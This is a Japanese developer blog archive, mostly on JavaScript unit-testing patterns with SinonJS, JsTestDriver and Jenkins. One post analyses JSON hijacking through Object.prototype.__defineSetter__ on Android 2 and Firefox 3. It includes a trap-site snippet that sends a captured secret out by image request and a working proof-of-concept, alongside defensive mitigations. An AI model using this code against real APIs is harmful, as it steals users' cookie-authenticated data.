0-9

5月 22

JavaScript UnitTest Patterns

JavaScript UnitTest Patterns

ここでは以下の順番でSinonJSとJsTestDriverを使用したJavaScriptのUnitTest Patternsを紹介します。

初期化の遅延

UnitTestを行う場合、まずは初期化functionが自動的に実行されないようにしましょう。

初期化functionをこちらの任意のタイミングで実行できるようにすることにより事前に対象外のコードをstub化したり、必要なfunctionへspyを仕込んだ状態でfunctionを実行できるようになります。

UnitTestの場合のみ初期化を遅延する

一番簡単な方法はUnitTest実行時のみ条件分岐で初期化を止める方法です。

    $(function () {
        if (window.sinon) {
            init();
        }
    });

この方法は簡単かつ確実にタイミングを制御できますが、元コードを変更する必要があるため後からテストを追加する場合に問題になる可能性があります。

addEventListener経由での設定

window.onloadやDOMContentLoaded経由で初期化を行なっている場合、window.onloadやdocument.addEventListenerをstub化します。

    //元functionを保持
    var _addEventListener = document.addEventListener;

    //stub化
    sinon.stub(document, 'addEventListener');

    //stubが呼び出されるので実行されない
    document.addEventListener('DOMContentLoaded', function () {
    }, false);

window.onloadやdocument.addEventListener自体のテストが行いたい場合、clickイベントを強制的に発生させたい (fireEvent/createEventの使い方) - 主に言語とシステム開発に関して等を参考にして直接ブラウザのイベントを呼び出してください。

jQuery経由での設定

初期化にjQueryを使用する場合先にjQuery functionをstub化し、functionが引数の場合に呼び出しを行わないようにすることができます。

この方法は「sinon.js -> jQuery -> 以下の初期化コード -> テスト対象コード」の順番でコードを読み込むことで実現できます。

    //元jQuery objectを保管
    var _jQuery = jQuery;

    //jQuery, $の両方stub化する必要があるので注意
    sinon.stub(window, 'jQuery', init_stub);
    sinon.stub(window, '$', init_stub);

    //jQueryのfunction propertyは自動で継承されるので、このfunctionは呼び出し時の動作のみ想定すればOK
    function init_stub (arg) {
        // functionの場合何もしない
        if (_jQuery.isFunction(arg)) {
            return;
        }
        return _jQuery.apply(this, arguments);
    }

こうすることで$(function () {})経由で設定されたfunctionを自分の好きな段階で$.args[n][0]()から呼び出すことができます。

script要素内に書かれたコードのテスト

htmlに直接書かれたコードもhtmlを$.ajax等で文字列として取得後、正規表現で切り出してevalすることでテストできますが、この方法はあまり安全ではないためhtmlとJSを分離することを推奨します。

非同期実行の同期化

主なUnitTest Frameworkは非同期実行のテストをサポートしていますが、UnitTestを行う場合できる限り非同期コードを同期的に実行することを推奨します。

非同期実行コードがテストに含まれる場合テストが複雑になるだけでなく、テストが増えてきた際に非同期部分の実行時間がテストの実行時間を伸ばすことになります。
(同期テストのみであればテスト実行環境を高速化することでテスト時間を短縮できますが、必ず固定秒数かかるテストが複数あった場合、それが積み重なるとテスト時間が非常に長くなる上に短縮できなくなります)

setTimeout、setIntervalの同期化

ShinonJSのuseFakeTimersを使うことではsetTimeout、setIntervalを同期化することができます。

    //setTimeout、setIntervalのmock化
    this.clock = sinon.useFakeTimers();

    //mock化されたsetTimeoutの呼び出し(この段階では呼び出されない)
    setTimeout(function () {
        window.alert('ok');
    }, 0);

    //100ms経過したものとする(100ms以内に実行されるfunctionのみ実行される)
    this.clock.tick(100);

useFakeTimersはjsunitのjsUnitMockTimeout.jsを元にしているので興味ある方はソースを読むことをおすすめします。
(コメント込みで150行程度なので簡単に読めると思います)

ただ、sinonのuseFakeTimersを使う場合、Date等も上書きされてしまうためUnitTest Frameworkが対応していない場合は注意してください。
Mochaを使用している場合不具合が出ることがあるそうです)

また、useFakeTimersを使用するとDateは常に0(1970-1-1 00:00:00)を返すようになります。

XHR

ShinonJSのuseFakeXMLHttpRequest、fakeServerを使うことでサーバアクセスをstub化することができます。
(ただ、jQuery等を使用している場合は$.ajaxをstub化してしまう方が簡単かもしれません)

ちなみに、同期実行には出来ませんが、JsTestDriver等には擬似的にサーバの代わりをする機能もあるためそちらを使ってテストを行うことも可能です。

jsDeferred

もし内部でjsDeferredを使用している場合、初期化の段階で以下のコードを実行することでjsDeferredがsetTimeoutを使うようになります。

    Deferred.next = Deferred.next_default;

jsDeferredはブラウザによってより高速な非同期化のコードを使用しますが、上記コードを使うことによりuseFakeTimers経由で実行のタイミングを制御することができます。

html, cssのテスト

htmlの記述

テスト対象のコードがDOM上の要素を参照する場合、テスト環境でも同じようにDOM上に要素が必要な場合があります。

これに関してJsTestDriverではコード内に以下の様なコメントでhtml要素を記述することができます。

    /*:DOC += <div>この要素はdocument.body直下に展開される</div> */
    /*:DOC += <div>
        改行も書けます
    </div> */
    /*:DOC hoge = <div>この要素はthis.hogeで参照できる</div> */
    /*:DOC fragment = <div>要素を並列に記述した場合</div><div>documentFragmentになるので注意</div> */

この内容はコード上の任意の場所に記述でき、ブラウザに配信される前に記述された部分が該当要素を生成するJSに置き換えられます。

注意点として、+=で要素をdocument.body以下に展開する場合、「hoge = 」で変数に生成場合に比べてテストの実行時間が長くなる傾向にあります。
(ブラウザの処理コストがかかる)

これに関して、jQuery等のライブラリを使用している場合、以下のようにセレクタを外部から書き換えられるようにすることで、テスト時には変数に生成された要素を使用することができます。

    var selectors = {
        'link' : 'a'
    };
    $.fn.setLinkText = function () {
        $(selectors.link).html('hoge');
    };

    TestCase('test case', {
        'test_link' : function () {
            /*:DOC link = <a></a>*/
            selectors.link = this.link;
            $.fn.setLinkText();
            assertEquals($(this.link).html(), 'hoge');
        }
    });

また、BusterJSにはtestbedという機能があり、テストに対してそれが実行されるhtmlを指定する機能があります。

htmlの参照

htmlのテストとは「要素が正しく生成されるか」というテストになりますが、htmlのテストはクロスブラウザでの安定した要素のシリアライズが難しいため、テスト結果の比較が難しいという問題があります。

これには以下の様な方法でテストを行うことで安定したテストを行うことができます。

  1. htmlを展開するmethodをstub化する
    jQueryを使用している場合、jQuery.fn.htmlをstub化することでDOMに展開される前のhtmlを受け取る事ができます。
    この方法により、htmlをDOMではなく文字列として扱えるため、クロスブラウザで安全にテストを行うことができます。
  2. HTMLElementのmockを使用する
    もしテスト対象のコードがstyle等の属性を設定している場合、以下のようなmockを使用することでテストを行うことができます。
       var elem = { 'style' : {} };
       targetFunction(elem);
       assertEquals(elem.style.display, 'block');
    
  3. selectorで数える
    上記のような方法が取れない場合、最後は普通にDOM経由で参照して要素数を数えたり、属性値を比較することになります。

css

cssのテストも上記「htmlの参照」と同じように「ライブラリをstub化する」、「mockを使用する」、「直接比較する」のいずれかを行うことで安定したテストを行うことができます。

また、jQuery等のライブラリはブラウザ毎に発生するCSS結果の誤差をまとめる機能もあるため、たとえテスト対象のコードでライブラリを使用していなくてもテスト環境のみクロスブラウザ用ライブラリを使用する方法もあります。

イベントのテスト

イベントのテストは大きく「ブラウザ環境のテスト(正しくイベントが呼ばれるか)」と「イベントコードのテスト(イベント内のコードが意図した動作を行うか)」に分けられます。

ブラウザ環境のテスト

ブラウザ環境のテストは「あるイベントを呼び出した時に正しくイベントが呼ばれるか」をテストするものです。

今回はアプリケーションのテストをメインに考えているので、ブラウザ環境自体のテストに関しては省略します。

イベントコードのテスト

HTMLElement等の要素にbindされたコードをテストする場合、bindを行うコードを呼び出す前にテスト用の要素を作成し、コードを呼び出した後にイベントを呼び出します。

通常のイベントに関しては呼び出しが同期でおこるので、テストの際に呼び出しのタイミングを考慮する必要はありません。

jQuery等のライブラリを使用しているのであれば要素を指定してイベントを発火する仕組みを使用するのが簡単です。
(ライブラリを使用していない場合はclickイベントを強制的に発生させたい (fireEvent/createEventの使い方) - 主に言語とシステム開発に関してを参照してください)

    function bindClick () {
        $('a').click(function () {
            console.log('ok');
        });
    }
    /*:DOC += <a></a>*/

    sinon.stub(console, 'log');

    bindClick();
    $('a').click();

    assertCalledOnce(console.log);

もしjQuery等のライブラリを使用していない場合や、mouseover等で座標を取得している場合などは、イベントをエミュレートするよりイベントと処理を切り離してそれぞれテストするのがお勧めです。

    function bindEvent () {
        $('a').mouseover(function (e) {
            setElement(e.pageX, e.pageY);
        });
    }
    function setElement (X, Y) {
        console.log(X, Y);
    }
    /*:DOC += <a></a>*/

    sinon.stub(window, 'setElement');

    bindEvent();
    $('a').mouseover();

    assertCalledOnce(setElement);

    // .restoreでstubを元functionに戻すことができます
    setElement.restore();
    sinon.stub(console, 'log');

    setElement(1, 2);

    assertCalledOnce(console.log);
    //最初に呼ばれた(args[0])時のargumentsの比較
    assertEquals(console.log.args[0], [1, 2]);

その他問題になりうるコード

document.write

JsTestDriverを使う場合、テストはページリロード無しに実行されるためテスト対象のコードは基本的にDOMContentLoaded後に実行されます。

そのためdocument.writeを使うコードをテストする際は、事前にdocument.writeをstub化してテストを実行しましょう。

alert, confirm

コードの実行が止まってしまうためstub化しましょう。

location

location objectは上書き(stub化)できないため、これに直接依存するコードをテストする場合には問題になる可能性があります。

これに関しては安定した回避方法がないため、テスト対象のコードを書き換えることを推奨します。
(別のobject経由で操作するようにし、テスト実行時はそのobjectをstub化しましょう)

5月 21

SinonJSとJsTestDriverを使ったJSテスト手法に関して

最近SinonJSとJsTestDriverを組み合わせてこんな感じのコードをベースにテストを書いているので紹介したいと思います。

    sinon.log = function (message) {
        jstestdriver.console.log(message);
    };
    sinon.assert.expose(this, {
        'includeFail' : false
    });
    var oldTestCase = TestCase;
    TestCase = function (name, condition, opt_proto) {
        if ('function' !== typeof condition) {
            opt_proto = condition;
            condition = undefined;
        }
        Object.keys(opt_proto).forEach(function (key) {
            if (!key.match(/^test_/)) {
                return;
            }
            var func = opt_proto[key];
            if (!func.length) {
                return;
            }
            opt_proto[key] = function (queue) {
                queue.call(function (callbacks) {
                    var arg = [];
                    for (var i = 0, l = func.length; i < l; i++) {
                        arg.push(callbacks.add(function () {}));
                    }
                    func.apply(this, arg);
                });
            };
        });
        opt_proto = sinon.testCase(opt_proto);
        if (condition) {
            ConditionalAsyncTestCase(name, condition, opt_proto);
            return;
        }
        AsyncTestCase(name, opt_proto);
    };

    function assertNotClassName(msg, className, element) {
        var args = argsWithOptionalMsg_(arguments, 3);
        var actual = args[2] && args[2].className;
        var regexp = new RegExp('(^|\\s)' + args[1] + '(\\s|$)');

        var flag;
        try {
            assertMatch(args[0], regexp, actual);
            flag = true;
        } catch (e) {
        }
        if (!flag) {
            return true;
        }
        actual = prettyPrintEntity_(actual);
        fail(args[0] + 'expected class name not to be included ' + prettyPrintEntity_(args[1]));
    }

    function assertDeferred(msg, actual) {
        var is_defer = Deferred.isDeferred(actual);

        var args = argsWithOptionalMsg_(arguments, 2);
        jstestdriver.assertCount++;

        if (!Deferred.isDeferred(args[1])) {
            fail(args[0] + 'expected Deferred but was ' + typeof args[1]);
        }
        return true;
    }

    function assertNotDeferred(msg, actual) {
        var is_defer = Deferred.isDeferred(actual);

        var args = argsWithOptionalMsg_(arguments, 2);
        jstestdriver.assertCount++;

        if (Deferred.isDeferred(args[1])) {
            fail(args[0] + 'expected not Deferred but was ' + typeof args[1]);
        }
        return true;
    }

sinon.log

SinonJS内部でエラーがあった場合、エラーメッセージを引数に呼び出されます。

JsTestDriverを使用している場合はjstestdriver.console.logへ出力すると、ブラウザのコンソールへは出力されずにJsTestDriver clientを呼び出したコンソールへエラーメッセージが出力されます。

sinon.assert.expose

SinonJSのAssert methodをsinon.assert.calledではなくassertCalledのように呼び出すことができます。
(第一引数に対してassertCalled等のmethodを追加する)

第二引数の「’includeFail’ : false」は「thisに対してfail methodを追加しない」という指定で、この指定がない場合JsTestDriverのfail methodを上書き指定しまいJsTestDriverが正常に動作しなくなります。
(初期値true)

第二引数は他に「’prefix’ : ‘assert’」も指定でき、第一引数に対してmethodを追加する際のprefixになります。これを「’prefix’ : ‘sinon’」と指定すると「sinon.assert.called」を「sinonCalled」と呼び出すことができます。
(初期値assert)

TestCase = function (name, condition, opt_proto) {}

標準のTestCase methodを乗っ取ります。

もともと別のtest case methodを定義していましたが、名前を変えるとIDEのサポートがなくなるので上書きしました。
IDEのサポートを気にしない場合別の名前を定義するほうがいいと思います。

        if ('function' !== typeof condition) {
            opt_proto = condition;
            condition = undefined;
        }

condition optionが渡されているかどうかを判断します。
condition optionが指定されている場合、後でConditionalAsyncTestCaseを呼び出します。

        Object.keys(opt_proto).forEach(function (key) {
            if (!key.match(/^test_/)) {
                return;
            }
            var func = opt_proto[key];
            if (!func.length) {
                return;
            }
            opt_proto[key] = function (queue) {
                queue.call(function (callbacks) {
                    var arg = [];
                    for (var i = 0, l = func.length; i < l; i++) {
                        arg.push(callbacks.add(function () {}));
                    }
                    func.apply(this, arg);
                });
            };
        });

test methodに引数が指定されている場合、非同期実行用のcallbacksを生成して渡します。

具体的には非同期テストを以下のように記述することができます。

    TestCase('asynch', {
        'test_asynch' : function (callbacks) {
            $.get('/hoge/', function (data) {
                assertEquals(data, 'hoge');
                callbacks();
            });
        }
    });

optproto = sinon.testCase(optproto);

test method objectにsinon.testCaseを実行します。

sinon.testCaseは引数にobjectを渡すことでobject内の各function propertyにsinon.test(function)を実行します。

sinon.testとは引数のfunctionにsinon.sandboxをbindして返します。

これを使うことにより以下のような利点があります。

  1. useFakeTimers, useFakeServerが自動で実行される

    setUp内でthis.clock, this.serverが自動的に定義され、tearDown内で自動的にrestoreされます。

  2. this.spy, this.stub, this.mockが定義される

    それぞれ呼び出されたtest methodの実行終了後に自動でrestoreされるfunctionを返します。

具体的には以下のような形式でテストを記述することができます。

    TestCase('testCase', {
        'test_testCase' : function () {
            // window.alertはこのfunction内でのみstub化する
            this.stub(window, 'alert');

            setTimeout(function () {
                window.alert('ok');
            });
            // this.clockが最初から定義されており、restoreも不要
            this.clock.tick(100);

            // window.alert.restore()不要
            assertCalledOnce(window.alert);
        }
    });
        if (condition) {
            ConditionalAsyncTestCase(name, condition, opt_proto);
            return;
        }
        AsyncTestCase(name, opt_proto);

conditionが指定されている場合はConditionalAsyncTestCaseを、指定されていない場合はAsyncTestCaseを呼び出します。

AsyncTestCaseはTestCaseの非同期実行版です。
TestCaseとの違いは「引数に非同期実行用の引数(queue)を渡すかどうか」なので、引数を無視した場合TestCaseとの違いはありません。

ConditionalAsyncTestCaseは第二引数に指定したfunctionがtrueを返した場合のみtest caseを実行します。

具体的には以下のように使用します。

    ConditionalAsyncTestCase('touch device only', function () {
        return 'ontouchstart' in window;
    }, {
        'test_touch' : function () {
            //...
        }
    });

なぜbooleanではなくfunctionを渡すかというと、JsTestDriverは高速化のためにテスト実行毎にJSの読み直しは行わず変更された部分のJSのみ差分で転送するため、*TestCase外の部分はブラウザで最初に読み込まれた段階でしか実行されません。
このため以下のようにtest caseの外部でfunctionの定義を変更すると、開発中に条件を変更しても処理が走らないので注意してください。

    // 最初に読み込まれた時にしか評価されない
    ('ontouchstart' in window) && AsyncTestCase('touch device only', {
        'test_touch' : function () {
            //...
        }
    });

function assert*

assert系を追加しています。

もっとうまく書く方法もあるかもしれませんが、とりあえず必要だったものだけ追加しています。


実際にはこれにIDEで補完するための記述を加えて使用しています。

5月 19

JSのUnitTest関連技術

ざっくり以下のようなツールが関連する

CIサーバ系(Jenkins等)

何かのタイミングで自動的にテストを実行する場合に使用

「Swarm系」、「結合テスト系」を操作し、その結果を蓄積、報告する

結合テスト系

利点

欠点

ある程度UIが安定しているサービスに対してのサーバも含めたブラックボックステストに向く

Swarm系

利点

欠点

TDD、UnitTestがメインだが、結合テストも可能

HeadLess Browser系

利点

欠点

主にWebkit系でのTDD、UnitTestがメイン。スマートフォン環境、IE環境のテストはできない

JSエンジン系

利点

欠点

HeadLess系に近いが、純粋なJS環境なのでブラウザ関係のテストが難しい

UnitTest系

他言語環境でいうxUnit系にあたる。利点、欠点は一般的なxUnitに同じ

mock系

基本的にSinonJSでカバーできる。UnitTest系よりむしろこちらの使い方のほうが重要

JsTestDriverとphantomjsとJenkinsを使ってのJSの継続的なテスト

JsTestDriverとphantomjsとJenkinsを使ってのJSの継続的なテストを行う方法を解説します。

Javaのインストール

JsTestDriver、Jenkins共に実行にJavaが必要になるため、Javaのインストールを行いましょう。
すでにインストール済みの場合は必要ありません。 

JsTestDriverのインストール

  1. JsTestDriverのjarを落としましょう
  2. ダウンロードしたJsTestDriverを—portオプションで起動しましょう( $ java -jar JsTestDriver[バージョン番号].jar —port 9876 )
  3. 設定ファイルのサンプルをダウンロードしてJsTestDriver.jarと同じディレクトリにJsTestDriver.confの名前で保存しましょう

これでJsTestDriver serverが起動します。
今回はテスト対象としてphantomjsを使用しますが、他にテスト対象のブラウザがある場合、 http://[JsTestDriver server]:9876/capture へ接続して放置します。
(テスト毎にリロードを行う必要はありません) 

phantomjsとの連携

  1. 本家のドキュメントを見ながらphantomjsを入れます(基本的にダウンロードするだけ)
  2. phantomjsとjstestdriverをつなぐ用のJSをダウンロードします
  3. phantomjsにつなぐ用JSを渡して起動します( $ phantomjs phantomjs-jstd.js )

2.で配布されているjsは標準で9876 portに接続するので設定は不要です。
(9876 port以外に接続する場合、中に書かれているport番号を変更してください)

Jenkinsの設定

  1. 「新規ジョブ作成」から「フリースタイル・プロジェクトのビルド」を選択します
  2. 「ビルド」->「ビルド手順の追加」から「シェルの実行」を選択します
  3. シェルスクリプト」にJsTestDriverの実行コマンドを記述します(サンプルはこちらです
  4. 「ビルド後の処理」->「ビルド後の処理の追加」->「JUnitテスト結果の集計」を選択します
  5. 「ビルド後の処理」->「JUnitテスト結果の集計」->「テスト結果XML」にJsTestDriverの実行コマンドに記述した「[適当に空ディレクトリのパス]testOutput/」を入力します
  6. 「保存」を押せば完成です。

これでJsTestDriverとphantomjsとJenkinsを使ってのJSの継続的なテストが出来るようになりました。

OS依存の部分は書いていませんが、どれもほぼ「ダウンロードすれば使える」ものなので大丈夫だと思います。
(特にWindowsだとほんとにダウンロードして解凍してインストーラ走らせれば終わります) 

5月 04

GWに読むと良い技術書4冊

もう中盤ですがせっかくなので

Amazon.co.jp: サイバーテロ 漂流少女: 一田和樹: 本

Amazon.co.jp: 闘うプログラマー〈上〉―ビル・ゲイツの野望を担った男達: G.パスカル ザカリー, G.Pascal Zachary, 山岡 洋一: 本

Amazon.co.jp: テイクダウン―若き天才日本人学者vs超大物ハッカー〈上〉: 下村 努, ジョン マーコフ, John Markoff, 近藤 純夫: 本

Amazon.co.jp: カッコウはコンピュータに卵を産む〈上〉: クリフォード・ストール, Clifford Stoll, 池 央耿: 本

書評に関してはAmazonをどうぞ。

「技術書か?」というのはあると思いますが、GWなんでいいんじゃないでしょうか。

4月 21

TDDの準備としてのサンプルコードテストのすすめ

//主にJSのTDDを想定してますが、JSに限らないと思うのでTDDとしてます。

TDDでコード書くのは色々はかどっていいけど、TDDしたことない人がいきなりTDDから入ると挫折する可能性が高いのでおすすめできない。

TDDでコードを書くには「テストフレームワークに関する知識」、「テスト手法に関する知識」、「テスト対象に関する知識」が必要なので、以下の順番で進めていくといいと思う。

1. サンプルコードをテスト形式で書く

最初はライブラリやアプリ自体の主要な機能を説明したサンプルコードをテスト形式で書こう。

サンプルコードの目的は主要な機能の説明なので、テストは簡単なほどいい。

まずはテストフレームワークに慣れるのが目的なので、こったテストを書く必要はないし、よく分からなければ「実際こうは動かないけど」と断った上でテストっぽくコードを書いてもいい。

とにかくまずは普通にコードを書いて、その中の主要なものだけでいいのでテストを書いてみよう。

2. すでに書かれたコードに対してUnitTestを書く

サンプルコードをテスト形式で書けるようになれば、ある程度「テストフレームワークに関する知識」は得られると思うので、次はすでに書かれたコードに対してUnitTestを書こう。

ただし、アプリケーションの表示を行う部分は関連するライブラリが多くてテストが大変なので、最初はライブラリとして切り出した部分に対してのテストを書こう。

ただ、その場合でもできるだけ表示に関連する部分のコードは少なくして、ライブラリとして切り出せないか考えよう。

UnitTestの目的はコードをメンテする時に既存の部分にバグが追加されないか確認するためなので、できるだけいろんなパターンでテストできるようにしよう。

また、なにかバグが見つかった場合、一旦バグが再現するテストを書いてから元コードを修正しよう。

ここではいろんなコードをテストすることでテストパターンを学ぶのが目的なので、できるだけいろんな形式をテストしよう。

テストの量も増えるのでテスト自体の実行時間も考慮しよう。

3. これから書くコードをTDDで書く

UnitTestを書けるようになれば「テスト手法に関する知識」は得られると思うので、次はこれから書くコードをTDDで書こう。

TDDの目的はコードがテストしやすい形式になることなので、最終的にそのテストをUnitTestとして使うかどうかはあまり気にしなくていい。

コード自体は「テストコード叩き->実コード叩き->テストコード修正->実コード修正->UnitTest実装」な感じで書いていくのがいい。

「TDDがいい」と言われる理由は、TDDで書いたコードをベースにサンプルコードにもUnitTestにも流用しやすいこと。

注意点として、TDDはテストの手法ではなく、設計手法なのでテストの網羅性とかは考えない(UnitTestは網羅性を考える)

(このため、「TDDではなく、BDDと呼ぼう」と言われる)

Object.prototype.__defineSetter__を使ったAndroidでのJSON Hijackingに関して

こないだShibuya.XSSで徳丸さんが紹介されてたObject.prototype.__defineSetter__を使ったJSON Hijackingに関して「Fx3系とAndroid 2系で動作する」とのことだったので検証してみた。

前書き

__defineSetter__とはブラウザベンダーが独自実装したProperty AccessorでECMAScriptには定義されていない(ECMAScriptでは別の方法が定義された)

具体的な使い方は以下のとおり。

    hoge = {};

    hoge.__defineSetter__(‘huga’, function(val) {

        this.huga_ = val;

    });

    hoge.huga = ‘foo’;

    alert(hoge.huga_); // -> alert(“foo”);

Fxではかなり古くから実装されており、ExtensionやUserScriptでは結構利用されている。

問題点

ただ、この実装にはセキュリティ上の問題があり、以下のようなコードが書かれた場合問題になる場合がある。

罠サイト

<script>

Object.prototype.__defineSetter__(‘security_info’, function (val) {

(new Image).src = ‘/log/’ + val;

});

</script>

<script src=”http://example.com/cookieで認証しており、秘密の情報が入ったJSONを返すAPI”></script>

なぜこんな結果になるかというと、JSON APIが返す結果はJS上では単なるObjectで、その__defineSetter__が設定されてれば動作上はそのアクセサを呼び出すのが正しいから。

実際この方法はかなり既知の話で「defineSetter JSON Hijacking」とかで検索すると結構色々情報が出てくる。

実証コード

ただし、ネット上は古い情報が多くあまりAndroidでの話もなかったので、実際に動く検証コードを作ってみた。

http://fiddle.jshell.net/ARMNH/15/show/

コードは以下のとおり。

<script>

var result = {};

//JSON APIが返すkeyをObject.prototype.__defineSetter__に設定

[‘SimpleObjectKey’, ‘ArrayObjectKey’, ‘ObjectArrayKey1’, ‘ObjectArrayKey2’].forEach(function (key) {

   result[key] = undefined;

   Object.prototype.__defineSetter__(key, function(val) {

       result[key] = val;

   });

});

//ついでにArray Constructorの上書きもチェック

Array = function () {

   result[‘ArrayConstructor’] = [this, [].slice.call(arguments)];

};

//キャッシュを殺すためのepoch秒を生成

var time = (new Date).getTime();

//JSON APIに見立てたファイルを読み込む

//{“SimpleObjectKey”:”SimpleObjectValue”}を返すAPI

document.write(‘<script src=”http://jsdo.it/kyo_ago/SimpleObject/js?’+time+’”><\/script>’);

//[{“ArrayObjectKey”:”ArrayObjectValue”}]を返すAPI

document.write(‘<script src=”http://jsdo.it/kyo_ago/ArrayObject/js?’+time+’”><\/script>’);

//{“ObjectArrayKey1”:[{“ObjectArrayKey2”:”ObjectArrayValue”}]}を返すAPI

document.write(‘<script src=”http://jsdo.it/kyo_ago/ObjectArrayKey/js?’+time+’”><\/script>’);

//JSON APIが読み込まれたら変数を一定期間ごとに表示し続ける

window.addEventListener(“load”, function () {

   var pre = document.createElement(‘pre’);

   document.body.appendChild(pre);

   pre.innerHTML = JSON.stringify(result, ”, ‘\t’);

   setInterval(function () {

       pre.innerHTML = JSON.stringify(result, ”, ‘\t’);

   }, 1000);

}, false);

</script>

手元の環境ではAndroid 2.3.4 NW-Z1050(Sony Android WALKMAN)でArrayObjectKeyのみ読込が成功した。

制限事項

上記のコードで検証した範囲では普通の{}形式では攻撃は成功せず、[]で包んだ場合のみ攻撃が成功した。

これは検証方法に問題がある可能性もあるが、ネット上の情報でも同じように必ず[]でくるんでいたので{}形式では成功しないのかもしれない。

この点に関して徳丸さんからコメントもらって理由がわかった。

http://tumblr.tokumaru.org/post/21603362669/0-9-object-prototype-definesetter-android-json

なぜ、{}では失敗して[]で成功するかというと、script[src]へURLを指定した場合、ブラウザは対象をJSとして解釈するから。

{“hoge”:”huga”}の場合、通常のJSとして解釈すると「Object定義」ではなく、「{}ブロックの中に”hoge”:”huga”が存在する」となり、「syntax error -> 攻撃失敗」となる。

[{“hoge”:”huga”}]の場合、通常のJSとして解釈する「第一要素にObjectが定義された配列の定義」となり、「syntax ok -> 攻撃成功」となる。

攻撃されうる環境

・Android 2系、Fx3系でアクセスされる可能性がある

・Cookieで認証している

・[]で包んだ形式で秘密の情報を返している

防御方法

・クライアントからはPOSTでアクセスし、GETアクセスを拒否する

攻撃者はscript[src]でアクセスするのでGETを弾けば攻撃は成功しない

・X-Requested-Withを確認する

jQueryやprototype.jsはXHRで通信する際にhttp headerにX-Requested-With : XMLHttpRequestを入れるので、もしそのAPIへアクセスするJSがjQueryやprototype.jsだけであるなら上記のヘッダを確認することで攻撃を防ぐことが可能
(XHRに自動的につくわけではないので、自前でXHRしてるなら自分でX-Requested-With : XMLHttpRequestをつける必要がある)

・壊れたJSONを返す

JSONの先頭にdon’t evilだとか、while (1);とか書いておいて、JSでtextとして受け取ったあとにその内容を正しいJSONに書き換えて解釈する
(Googleは内部用のAPIにはこれをもっと極端にした方法を取っている)

・Referrerを確認する

防衛対象がAndroid 2系の標準ブラウザのみであるなら、「UAがAndroid 2系でReferrerが外部の場合」「UAがAndroid 2系でReferrerが自分のドメイン以外や空の場合」をエラーにすれば攻撃を防げるかもしれない。
(Android 2系の標準ブラウザのみなら一般ユーザがUAを偽装している可能性は非常に低い)
Referrerに頼るのはあまり良い方法ではないので、緊急回避的な場合以外はおすすめしない。
(また、外部のドメインからReferrer空にしてリクエストをさせることは可能なので、空の場合も弾く必要がある)
条件に関して@os0xさんから指摘をもらって修正した。
https://twitter.com/#!/os0x/statuses/194773447686094848  

結論

攻撃されうる環境がかなり限定されるので、悪用するのはかなり難しい。

参考

PHPのイタい入門書を読んでAjaxのXSSについて検討した(3)~JSON等の想定外読み出しによる攻撃~ - ockeghem(徳丸浩)の日記 http://d.hatena.ne.jp/ockeghem/20110907/p1

Amon2とJSONとセキュリティ - ”><xmp>TokuLog 改メ tokuhirom’s blog http://d.hatena.ne.jp/tokuhirom/20111125/1322185155

4月 03

CoffeeScriptとはなんだったのか

なぜ CoffeeScript がダメか - 冬通りに消え行く制服ガールは?夢物語にリアルを求めない。 - subtech

なぜ CoffeeScript がよいか - 0xff.toBlog()

CoffeeScriptは自分にとっては有益だった - Takazudo hamalog

coffeescriptについて - hokaccha.hamalog v2

たまには流行りに乗ってみる。

CoffeeScriptに対しては「CoffeeScriptって言語を使うのならありだけど、ましなJavaScriptとして使うのはやめたほうがいい」という認識。

CoffeeScriptの配列内包表記やOOPなんかを使ってロジックを組み立てるなら便利だと思うしそれはそれで使い道あると思うけど、JavaScriptで書けるロジックをそのまま移したようなものならJavaScriptで書いたほうがいい。

「コードが短くなる」と言うのはキーボードカスタマイズでショートカット追加すればいいんじゃないかと思うし(ブラウザのデバッガ上でもJavaScript書くし)、「学習が用意」と言うのは用意に学習できる範囲で使うくらいなら普通に書いてもそんなに変わらないと思う(ショートカット入れてれば書く時間そんなに変わらない)。

ただ、そのCoffeeScriptらしい機能を使ったコードは「後でCoffeeScript破棄してJavaScriptだけをメンテする」という選択はなくなると思ったほうがいい(書きなおす方が多分早い)

あとは、Takazudoさんのブログの最後でも紹介されてるけど、似たような記述が続いたり、文字列処理のシンタックスが豊富なのでユニットテスト用に使うという選択肢は十分あると思う。

ただ、個人的にはCoffeeScriptの価値は、コード云々ではなくて変換系言語の開発基盤を築いたことだと思う。

Source MapsはCoffeeScriptがあったからここまで普及したし、将来JavaScript上で別言語を書くための道が開けた。

これとEmscriptenがあればJavaScript上でPerlやRubyの処理系を動かせるかもしれない。

そのためにもCoffeeScriptには行き着くところまで行き着いて欲しいと思ってる。

3月 18

サイバーテロ 漂流少女は書籍で販売してはいけない

サイバーテロ 漂流少女: 一田和樹を読んでみたが、感想としては「これは書籍で売ってはいけない」だった。

理由としては「時事ネタが風化しそうなこと」と、「実際攻撃として有り得そうなので広めないでほしいところ」と、「一般向けに技術的な解説が足りないところ」。

時事ネタとしてはSonyの話とか来年くらいには忘れられそうな気がするし、「Twitterの企業アカウント経由でのスピア型攻撃」とかマジ有りそうで怖いし、何より解説なしで分かる人には分かるネタが入ってるのが非常にもったいない。

なんか読んでると特に一般向けに被害がわかりやすい事例をベースにしてる感じがして、「著者が本気で同業者向けに書けばもっと面白いネタが入れられたんじゃないか」と言う気がするし、それを置いといても「分かる人には分かる」ネタが説明なしで入ってたりして「一般の人だとわからないだろうなー」というのが非常にもったいない。

あと、どうせTwitter使うならTwitter上でのARG的なものも欲しかった。書籍内でID出してそのIDで登場人物のやり取りを再現しとくとかあるともっと良かった。

内容としては買って後悔はしてないし実際社内MLで紹介したりとかしてるけど、個人的には書籍じゃなくて電子書籍とかどっかのサイトとかで読みたかった。

(数年後に読んだら今ほど楽しめなかったと思う)

2月 04

JsTestDriverのAsyncTestCase

この内容はJsTestDriver WikiのAsyncTestCaseを意訳したものではありません。
http://code.google.com/p/js-test-driver/wiki/AsyncTestCase

TestCaseはAsyncTestCaseの同期実行版なので基本的にAsyncTestCaseを使いましょう。
(TestCaseをAsyncTestCaseに置き換えるだけでそのまま実行できます)

assert関係はこちらからどうぞ
Assertions http://code.google.com/p/js-test-driver/wiki/Assertions

以下の二つはTestCaseと互換の基本的な実行方法です。
オブジェクトリテラルを渡す方法
    AsyncTestCase(‘testCaseName’, {
        ‘setUp’ : function () {},
        ‘testNameA’ : function () {},
        ‘testNameB’ : function () {},
        ‘tearDown’ : function () {}
    });
.prototypeを拡張する方法
    var MyTestCaseName = AsyncTestCase(‘testCaseName’);
    MyTestCaseName.prototype.setUp = function () {};
    MyTestCaseName.prototype.testNameA = function () {};
    MyTestCaseName.prototype.testNameB = function () {};
    MyTestCaseName.prototype.tearDown = function () {};
